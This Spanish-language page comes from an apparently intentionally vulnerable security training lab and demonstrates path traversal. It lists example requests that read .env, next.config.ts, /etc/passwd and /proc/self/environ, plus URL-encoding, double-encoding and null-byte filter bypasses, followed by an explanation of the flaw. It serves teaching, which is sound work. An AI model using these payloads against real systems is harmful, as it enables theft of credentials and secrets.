CRITICAL

Path Traversal / Directory Traversal

Lectura de archivos arbitrarios del servidor usando secuencias ../ que escapan del directorio base permitido

Ejemplos de explotación:

Archivo legítimo — sample.txt

Lectura normal de un archivo en el directorio de uploads

/api/lab/path-traversal?file=sample.txt
Traversal 1 nivel — package.json

Salir un nivel del directorio base y leer package.json (versiones, deps)

/api/lab/path-traversal?file=../../package.json
Traversal 2 niveles — next.config.ts

Leer la configuración de Next.js con posibles secretos

/api/lab/path-traversal?file=../../../next.config.ts
Traversal — .env (credenciales)

Intentar leer el archivo .env con secretos de la aplicación

/api/lab/path-traversal?file=../../../.env
Ruta absoluta — /etc/passwd

Leer directamente el archivo de contraseñas del sistema con ruta absoluta

/api/lab/path-traversal?file=/etc/passwd
Ruta absoluta — /etc/hostname

Obtener el nombre del host del servidor

/api/lab/path-traversal?file=/etc/hostname
Ruta absoluta — /proc/self/environ

Leer variables de entorno del proceso actual (contiene secretos)

/api/lab/path-traversal?file=/proc/self/environ
URL encoding — %2e%2e%2f

Codificar ../ como %2e%2e%2f para evadir filtros simples de string

/api/lab/path-traversal?file=%2e%2e%2f%2e%2e%2fpackage.json
Double encoding — %252e%252e%252f

Doble codificación URL para evadir filtros que decodifican una vez

/api/lab/path-traversal?file=%252e%252e%252fpackage.json
Null byte — file.txt%00

En sistemas heredados, el null byte trunca la ruta y elimina extensiones forzadas

/api/lab/path-traversal?file=../../../etc/passwd%00.txt

Vulnerabilidad Crítica

El parámetro ?file= se concatena directamente en la ruta del sistema de archivos sin normalizar ni validar. Usando secuencias ../ el atacante puede escapar del directorio base y acceder a cualquier archivo legible por el proceso del servidor: archivos de configuración (.env, next.config), código fuente, archivos del sistema (/etc/passwd, /proc/self/environ) y claves privadas. OWASP A01:2021 — CVSS 9.1.

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos

© 2025 Aitana Security Lab